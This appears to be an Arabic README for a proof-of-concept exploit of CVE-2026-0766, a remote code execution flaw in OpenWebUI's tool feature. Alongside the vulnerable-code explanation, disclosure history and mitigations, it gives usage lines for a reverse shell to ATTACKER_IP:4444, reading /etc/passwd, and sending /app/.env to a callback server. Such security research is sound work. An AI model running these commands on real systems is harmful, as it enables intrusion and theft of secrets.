
إثبات مفهوم لاستغلال CVE-2026-0766، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في OpenWebUI عبر حقن أكواد الأدوات. يتضمن أوضاع تنفيذ الأوامر، وقراءة الملفات، والقشرة العكسية، والاستخراج الأعمى للبيانات.
مستودع أبحاث أمنية تعليمي
يحتوي هذا المستودع على كود إثبات المفهوم لاستغلال CVE-2026-0766، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في OpenWebUI تم اكتشافها ونشرها بواسطة مبادرة اليوم الصفري (ZDI).
هذا المستودع مخصص لاختبار الأمان المصرح به والأغراض التعليمية فقط.
لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذا الكود. يتحمل المستخدمون وحدهم مسؤولية ضمان امتثال أنشطتهم لجميع القوانين واللوائح المعمول بها.
| الخاصية | القيمة |
|---|
| معرف CVE | CVE-2026-0766 |
| اكتشفها | مبادرة اليوم الصفري (ZDI) |
| البرنامج المتأثر | OpenWebUI |
| نوع الثغرة | حقن التعليمات البرمجية (CWE-94) |
| درجة CVSS | 8.8 عالية |
| متجه CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| تعقيد الهجوم | منخفض (يمكن للمسؤول المصادق عليه أو المستخدم الذي لديه صلاحية إنشاء/تحديث الأدوات استغلالها) |
OpenWebUI هي واجهة ويب مستضافة ذاتيًا لنماذج اللغة الكبيرة. توفر تجربة مشابهة لـ ChatGPT يمكن للمؤسسات تشغيلها على بنيتها التحتية الخاصة، مما يبقي محادثات وبيانات LLM داخل المنشأة.
يتضمن OpenWebUI ميزة "الأدوات" التي تسمح للمستخدمين بتوسيع قدرات LLM عن طريق إرسال كود Python. يتم تنفيذ هذا الكود من جانب الخادم عبر دالة exec() في Python دون أي عزل (sandboxing) أو تحقق أو ضوابط أمان.
مسار الاستغلال:
POST /api/v1/tools/createcontentexec(content, module.__dict__) في utils/plugin.pyنقطة أساسية: يتم تنفيذ الكود في وقت إنشاء الأداة، وليس عند استدعاء LLM للأداة. هذا يعني أن مجرد إنشاء أداة خبيثة يؤدي إلى RCE - دون الحاجة إلى أي تفاعل إضافي.
تم التحقق من هذا الاستغلال على:
الثغرة معمارية (استخدام غير آمن لـ exec() على مدخلات المستخدم) وتوجد في جميع الإصدارات حتى يتم إصدار تصحيح أمني من فريق OpenWebUI.
توجد الثغرة في backend/open_webui/utils/plugin.py:
def load_tool_module_by_id(tool_id: str, content: str):
# معالجة مسبقة بسيطة (ليست ضابط أمان)
content = replace_imports(content)
# إنشاء وحدة وتنفيذ كود المستخدم
module = types.ModuleType(f"tool_{tool_id}")
exec(content, module.__dict__) # ← الثغرة
return module
دالة replace_imports() تعيد كتابة مسارات الاستيراد فقط (تجميلية) - ولا تقيّد ما يمكن تنفيذه من كود. لا يوجد:
قيّم فريق OpenWebUI هذا في البداية كأولوية منخفضة، مشيرًا إلى أن إنشاء الأدوات يتطلب صلاحيات المسؤول. ومع ذلك:
بعد أن اقترح البائع أن يدير المسؤول ذلك بوصول مقيد، نشرت ZDI هذا كثغرة يوم صفري (ZDI-26-032) لإعلام المدافعين.
يحترم المؤلف تحديات صيانة المشاريع مفتوحة المصدر. يتطلب تصحيح الثغرات الأمنية موازنة احتياجات المستخدمين والقيود المعمارية والموارد المحدودة. يهدف هذا النشر إلى مساعدة فرق الأمان في تقييم المخاطر وتنفيذ التخفيف.
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3
يدعم سكربت الاستغلال (exploit.py) أوضاع هجوم متعددة:
تنفيذ أوامر نظام التشغيل واسترجاع المخرجات:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"
قراءة الملفات من نظام ملفات الخادم:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd
تشغيل شل عكسي (يتطلب مستمع netcat):
# على جهاز المهاجم:
nc -lvnp 4444
# تشغيل الاستغلال:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444
إرسال مخرجات الأوامر إلى خادم استدعاء HTTP:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"
يقبل السكربت كلاً من رموز JWT (من تسجيل دخول SSO) ومفاتيح API:
الحصول على رمز JWT:
tokenAuthorization: Bearer ... من أي طلب APIlocalStorage.getItem("token")--token eyJhbGci...إذا كنت تشغّل OpenWebUI ولا يمكنك التصحيح فورًا:
استبدل exec() ببديل آمن:
RestrictedPython للتنفيذ المعزولأضف فحوصات الصلاحيات:
الدفاع المتعمق:
رخصة MIT - راجع ملف LICENSE للتفاصيل.
يُقدَّم هذا الكود لأغراض تعليمية وأمنية دفاعية. المؤلف غير مسؤول عن إساءة الاستخدام.
تم الإفصاح عن هذه الثغرة بشكل مسؤول:
إذا اكتشفت ثغرات أمنية في مشاريع مفتوحة المصدر، يرجى اتباع ممارسات الإفصاح المسؤول وإعطاء المطوّرين وقتًا للتصحيح قبل الإفصاح العام.
للأسئلة أو الملاحظات: افتح مشكلة (issue) في هذا المستودع.